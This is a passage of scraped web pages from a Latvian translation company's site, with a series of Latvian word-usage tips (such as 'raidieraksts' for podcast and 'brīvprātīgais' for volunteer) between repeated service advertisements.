Savukārt svešvārdu ‘streamer’ oficiālajā saziņā lietot kā ‘straumētājs’, bet sarunvalodā – ‘strīmeris’. Jāatceras, ka ‘strīmeris’ informātikas terminoloģijā ir lenšdzinis, ko bieži izmanto, lai veidotu cieto disku informācijas dublējumkopijas, bet ‘strīmeris jeb straumētājs’ kā persona ir digitālā satura veidotājs ar komunikatīvu un tehnoloģisku spēju veikt tiešraides (saturs reāllaikā) noteiktai auditorijai, izmantojot specializētas platformas, (piemēram, YouTube, Twitch, Facebook) informatīvos nolūkos un digitālai izklaidei. Tātad atkarībā no saziņas veida – oficiāla saziņa vai sarunvalodas stils – lietosim vai nu variantu: Lauris bija klasē slavenākais jūtūbers un populārākais strīmeris (sarunvaloda), vai: Lauris bija klasē slavenākais Youtube satura veidotājs un populārākais straumētājs (oficiālā saziņa). Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Aleksandrs Lipšics Fizioloģijas institūtā strādāja kā voluntieris, volontieris vai brīvprātīgais? Kurš variants pareizs, noskaidro šeit! - Published: 2023-06-08 - Modified: 2023-06-08 - URL: https://skrivanek.lv/voluntieris-vai-volontieris-vai-brivpratigais/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional \ VOLUNTIERIS VAI VOLONTIERIS VAI BRĪVPRĀTĪGAIS 1 Aleksandrs Lipšics Fizioloģijas institūtā strādāja kā voluntieris. Vai – volontieris? Vai – brīvprātīgais? Vārds ‘volontieris’ latviešu valodā aizgūts no franču valodas vārda ‘volontaire’, kas savukārt no latīņu ‘voluntārius’ – brīvprātīgais. Vārdnīcu skaidrojums šim variantam: 1. Persona, kas volontē, proti, brīvprātīgi, bez atlīdzības darbojas (medicīnas iestādē, teātrī), piemēram, mācību, kvalifikācijas celšanas nolūkā. 2. Persona, kas brīvprātīgi iestājusies karadienestā. Šī nozīme tiek uzskatīta par novecojušu. Arī forma ‘volontiers’ uzskatāma par novecojušu. Savukārt formu ‘voluntieris’/’voluntiere’ piedāvā tikai tezaurs. lv, kā sinonīmu vārdam ‘volontieris’, kā avotu norādot izdevniecības “Nordik” 2004. gada izdoto Preses lasītāja svešvārdu vārdnīcu. Skrivanek iesaka lietot latviešu literārās valodas vārdu ‘brīvprātīgais’ – gan stiprinot latviešu valodu, gan vienlaikus izvairoties no nepareiza lietojuma. Ja nu tomēr vēlaties izmantot svešvārdu, tad lietot formu ‘volontieris’ un attiecīgi ‘volontēt’ – brīvprātīgi darboties. Tātad teiksim: Aleksandrs Lipšics Fizioloģijas institūtā strādāja kā brīvprātīgais. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kurš variants ir pareizs: podkāsts, podieraksts vai raidieraksts? Ieskaties un uzzini atbildi! Šis un citi latviešu valodas padomi vienuviet. - Published: 2023-06-08 - Modified: 2024-08-15 - URL: https://skrivanek.lv/podkasts-vai-podraide-vai-raidieraksts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PODKĀSTS VAI PODRAIDE VAI RAIDIERAKSTS 1 Rīt jāklausās finanšu analītiķa Naudiņa podkāsts. Vai – podraide? Vai – raidieraksts? Termins “podcast” ir periodiski izdots skaņu, video, PDF vai EPub datņu kopums, ko ar tīmekļa sindikācijas palīdzību no Vispasaules tīmekļa lejupielādē datorā vai padara pieejamu straumēšanai tiešsaistē. Sākotnēji “podcast” tika atveidots kā saliktenis “podraide”, veidots no vārdiem “iPod” un “raidīt”, jo to varēja klausīties tikai no kabatas atskaņošanas ierīcēm. Tehnoloģiju lietotāji gan sociālajos tīklos nereti mēdza izpaust savas valodnieciskās spējas, apspriežot šī latviskojuma dažādās iespējamās nozīmes. Ņemot vērā, ka ir notikušas būtiskas izmaiņas atskaņošanas iespējās un ierakstu var klausīties ne tikai no kabatas atskaņošanas ierīcēm, bet arī no datora, viedtālruņa, radioaparāta un citos veidos, Skrivanek, balstoties uz LZA TK Informācijas tehnoloģijas, telekomunikācijas un elektronikas terminoloģijas apakškomisijas sniegto informāciju, iesaka izmantot vispārīgāku, taču šībrīža situācijai atbilstošāku terminu – raidieraksts. Tātad teiksim: Rīt jāklausās finanšu analītiķa Naudiņa raidieraksts. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai zināt, kurš uzņēmums Latvijā ir veiksmīgākais lielo datu apstrādātājs? Vai fatavors? Vai lieldatnieks? Ieskaties šajā valodas padomā! - Published: 2023-06-08 - Modified: 2023-06-08 - URL: https://skrivanek.lv/lielo-datu-apstradatajs-vai-datavors-vai-lieldatnieks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LIELO DATU APSTRĀDĀTĀJS VAI DATAVORS VAI LIELDATNIEKS 1 Vai zināt, kurš uzņēmums Latvijā ir veiksmīgākais lielo datu apstrādātājs? Vai ‒ lieldatnieks? ‘Datavore’ (angļu val. ) ir uzņēmums, iestāde vai organizācija, kas aktīvi apkopo datus par cilvēkiem, vietām, uzņēmumiem, valsts un pašvaldību procesiem un pakalpojumiem, infrastruktūru un vidi un veic šo datu padziļinātu analīzi. Tas veic šo datu kopīgošanu, integrēšanu un izmantošanu pakalpojumu un darbības uzlabošanai un izmanto lēmumu pieņemšanai, lai uzlabotu darbības, procesus, pakalpojumus un infrastruktūru atbilstoši klientu vajadzībām. Šī vārda latviskojumu pagaidām neatradīsiet vārdnīcās, bet Skrivanek sadarbībā ar Latvijas Zinātņu akadēmijas Terminoloģijas komisijas Informācijas tehnoloģijas, telekomunikācijas un elektronikas terminoloģijas apakškomisiju iesaka to atveidot kā lieldatnieks. Tātad teiksim: Vai zināt, kurš uzņēmums Latvijā ir veiksmīgākais lieldatnieks? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ir sācies pēdējais politisko cīņu raunds pirms gaidāmajām vēlēšanām. Vai – politisko cīņu posms? Ieskaties šajā latviešu valodas padomā! - Published: 2023-06-08 - Modified: 2024-08-29 - URL: https://skrivanek.lv/raunds-vai-posms/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RAUNDS VAI POSMS 1 Ir sācies pēdējais politisko cīņu raunds pirms gaidāmajām vēlēšanām. Vai – politisko cīņu posms? Vārds ‘raunds’ ir aizgūts no angļu valodas vārda ‘round’. Biežāk lietotā nozīme ir saistīta ar boksu – tas ir viens, aptuveni trīs minūtes ilgs boksa cīņas posms. Otra nozīme – arī kā atsevišķs posms politisko cīņu vai diplomātiskajās sarunās. Ja boksa gadījumā raunds ir sporta terminoloģijai piederīgs jēdziens, un diez vai kāds jūs sapratīs, ja runāsiet par boksa posmu, tad otrā gadījumā, runājot par diplomātiskām vai politiskajām sarunām, pārrunām, pieļaujams lietot arī latviešu valodas vārdu ‘posms’ – bet nebūs nepareizi, ja teiksiet: sarunu raunds. Turklāt vārdam ‘posms’ ir vismaz septiņas vairāk vai mazāk atšķirīgas nozīmes, kamēr vārdam ‘raunds’ to ir tikai divas – tādēļ runājot par politiku, Skrivanek iesaka lietot vārdkopu ‘sarunu raunds’. Tātad teiksim: Ir sācies pēdējais politisko cīņu raunds pirms gaidāmajām vēlēšanām. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Krēma sastāvā ir skvalēns vai skvalāns? Ieskaties šeit un uzzini atbildi. Šis un daudzi citi latviešu valodas padomi vienuviet. - Published: 2023-06-08 - Modified: 2023-06-08 - URL: https://skrivanek.lv/skvalans-vai-skvalens/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKVALĀNS VAI SKVALĒNS 1 Krēma sastāvā ir skvalēns. To iegūst no haizivīm. Vai – skvalāns? Ar šiem vārdiem, visticamāk, biežāk nākas sastapties daiļā dzimuma pārstāvēm, pētot skaistumkopšanas līdzekļu aprakstus. Tomēr arī kungiem nebūs par skādi uzzināt, kā tad ir pareizi. Skvalāns ir ogļūdeņradis, kas iegūts, hidrogenējot skvalēnu. Atšķirībā no skvalēna skvalāns nav pakļauts autooksidācijai, jo ir pilnīgi piesātināts. Šis fakts, kā arī zemākas izmaksas, kas saistītas ar skvalānu, padara to vēlamu kosmētikas ražošanā, kur to izmanto kā mīkstinošu un mitrinošu līdzekli. Skvalāns kā mīkstinošs līdzeklis tika ieviests pagājušā gadsimta 50. gados. Nepiesātinātā forma skvalēns veidojas cilvēka sebumā un haizivju aknās. Skvalānam ir zema akūta toksicitāte, un tas nav nozīmīgs cilvēka ādas kairinātājs vai sensibilizators. Tātad tiek lietoti un pareizi ir abi vārdi, tomēr minētajā piemērā un citos gadījumos, kad runa būs par farmaceitiskiem vai kosmētiskiem produktiem, pareizi būs lietot vārdu ‘skvalāns’. Tātad teiksim: Krēma sastāvā ir skvalāns. Skvalēnu iegūst no haizivīm. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Filmas dublāžai latviešu valodā jāatrod patiešām labs balss aktieris. Vai – filmas dublēšanai? Dublējumam? Ieskaties un uzzini atbildi! - Published: 2023-06-07 - Modified: 2024-09-24 - URL: https://skrivanek.lv/filmas-dublaza-vai-dublesana-vai-dublejums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FILMAS DUBLĀŽA VAI DUBLĒŠANA VAI DUBLĒJUMS 1 Filmas dublāžai latviešu valodā jāatrod patiešām labs balss aktieris. Vai – filmas dublēšanai? Dublējumam? Vārds ‘dublāža’ aizgūts no franču valodas vārda ‘doublage’ un tā nozīme ir ‘skaņu filmas teksta ieskaņošana citā valodā’, ‘citā valodā dublēts filmas teksts’. Mūsdienu latviešu literārās valodas vārdnīca līdzās šim vārdam norāda arī vārdus ‘dublēšana’ un ‘dublējums’. Piemēram, lai izvairītos no liekvārdības, pareizi būtu teikt: Filma tiek dublēta, nevis Filmai notiek dublāžas process. Taču, ja jāizmanto lietvārds, tad jāatceras, ka vārdam ‘dublēšana’ ir arī ar IT saistīta nozīme, proti: rezerves kopēšana — lietotņu vai datņu kopijas veidošana arhivācijas vajadzībām vai aktīvās kopijas bojājuma gadījumam, lai nodrošinātos pret datu zaudēšanu. Arī ‘dublējums’ ir ar datiem saistīta nozīme, ko IT jomā zina arī kā ‘back-up’. Vārdam ‘dublēšana’ ir arī ar militāro jomu saistīta nozīme: 1. Uz vienu mērķi virzītu vienādu darbību divkārtēja vai vairākkārtēja veikšana; 2. Tehniskas ierīces, mehānisma, sistēmas darbības drošuma paaugstināšanas paņēmiens nodrošinoties ar rezerves elementiem. Ja runa ir par filmām, tad nevajadzētu lietot vārdu ‘dublēšanās’. Šī vārda nozīme ir šāda: vienlaicīga (līdzīgu parādību, norišu u. tml. ) pastāvēšana; pilnīga sakrišana. Gan filmas dublāža (novērots, ka šo variantu biežāk lieto ‘kino nozares ļaudis’), gan filmas dublējums – abi varianti ir pareizi. Tomēr pēc vārdnīcu izpētes Skrivanek secina, ka vārds ‘dublāža’ tieši un konkrēti tiek attiecināts uz filmu dublējumu jeb dublēšanu, un, lai būtu skaidrs, ka runa ir par filmu ieskaņošanu, iesaka lietot vārdu ‘dublāža’ (angliski – dubbing). Tātad teiksim: Filmas dublāžai latviešu valodā jāatrod patiešām labs balss aktieris. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Atprečot vai izpirkt – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2024-07-11 - URL: https://skrivanek.lv/atprecot-vai-izpirkt/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATPREČOT VAI IZPIRKT 1 Dāvanu karti var atprečot sešu mēnešu laikā. Vai – dāvanu karti var realizēt precēs sešu mēnešu laikā. Vai – izpirkt? Par nelabskanīgo vārdu ‘atprečot’ jau 1986. gadā rakstīja valodniece Aina Blinkena: “ Ir skaidrs, ka tas ir burtisks tulkojums no krievu vārda «отоварить», kam krievu valodā ir vairākas nozīmes, ko ne vienmēr var latviski pārtulkot ar vienu vārdu. ” Rakstā, kas veltīts šim rusicismam, Blinkena ar piemēriem skaidro, kādos gadījumos tas tiek lietots un kāds vārds vai vārdkopa būtu jālieto ‘atprečošanas’ vietā. Lai gan kopš 1986. gada ir mainījusies politiskā un ekonomiskā sistēma, vairs nav nedz cukura un ziepju talonu sistēmas, nedz arī kolhozu, kuros bija stingri noteikta “kartupeļu atprečošanas kārtība”, vārds diemžēl ir samērā bieži sastopams arī mūsdienās. Visbiežāk tas sastopams dāvanu karšu lietošanas noteikumos. Arī vārds ‘izpirkt’ nederēs – šis vārds nozīmē ‘nopirkt visu vai daudz’; ‘pērkot iztukšot’; ‘pērkot izdot (visu naudu)’; ‘pērkot, iegūt īpašumā’, visbeidzot izpirkt var grēkus vai kļūdu. Vārds ‘atprečot’ ir viens no gadījumiem, kad to nevar pārtulkot latviešu valodā ar vienu vārdu, tādēļ atbilstošākais tulkojums ir – realizēt precēs. Tātad teiksim: Dāvanu karti var realizēt precēs sešu mēnešu laikā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dokuments sastāv no nodaļām, sadaļām, vai iedaļām? Uzzini pareizo atbildi šeit! Šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2023-06-07 - URL: https://skrivanek.lv/iedala-sadala-vai-nodala/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IEDAĻA, SADAĻA, VAI NODAĻA 1 Dokumenta piektajā lappusē sākas 1. nodaļas 3. sadaļa. Vai – 3. iedaļa? Vārdam ‘nodaļa’ ir vairākas nozīmes – tā var būt gan iestādes atsevišķa sastāvdaļa, var būt arī karaspēka apakšvienība, bet mūsu piemērā šis vārds ir lietots ar nozīmi ‘tematiski apvienota teksta daļa’. Un arī vārds ‘sadaļa’ ir ‘tematiski apvienota teksta daļa’. Tātad vārdi ‘nodaļa’ un ‘sadaļa’ ir sinonīmi. Skrivanek atgādina – ja tekstā vārds ar šo nozīmi jālieto vairākkārt, tad ieteicams ievērot konsekvenci, proti, izmantot vienu no šiem vārdiem. Bet ‘iedaļa’ ir ‘viena no vienādām atzīmēm (mērinstrumenta, mērierīces) skalā; attālums starp šādām blakus esošām atzīmēm (kas atbilst noteiktam mērāmam lielumam)’ – tātad šo vārdu saistībā ar tekstu lietot nevajadzētu. Tātad teiksim: Dokumenta piektajā lappusē sākas 1. nodaļas 3. sadaļa. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kāda ir vārdu matrice un matrica lietojuma atšķirība? Ieskaties un uzzini atbildi! Šis un citi latviešu valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2024-08-26 - URL: https://skrivanek.lv/matrica-vai-matrice/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MATRICA VAI MATRICE 1 Matrica ir taisnstūrveida tabula ar skaitļiem. Burtlicis pamanīja, ka skaitļa 3 matrice ir pazudusi. Kas tad ir pazudis burtlicim? Burtlicim ir pazudusi matrice. Tā ir veidne kaut kā (piemēram, burtu, detaļu) atliešanai, izgatavošanai, štancēšanai. Vārds cēlies no latīņu valodas vārda ’matrix’ (matricis) – māte. Bet tas pats burtlicis, vidusskolas eksāmenā runājot par matemātiskiem objektiem, atcerētos definīciju un teiktu: matrica ir taisnstūrveida tabula ar skaitļiem. Arī datorspeciālisti teiktu ‘matrica’. Tātad abi varianti ir pareizi, vien jāatceras, ka ‘matrica’ ir teorētiķiem, bet ‘matrice’ – praktiķiem. Bet latīniskais nosaukums ‘matricaria’, ja tādu nākas sastapt, lai jūs nemulsina – tās ir mūsu pašu tik ļoti iecienītās kumelītes. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks 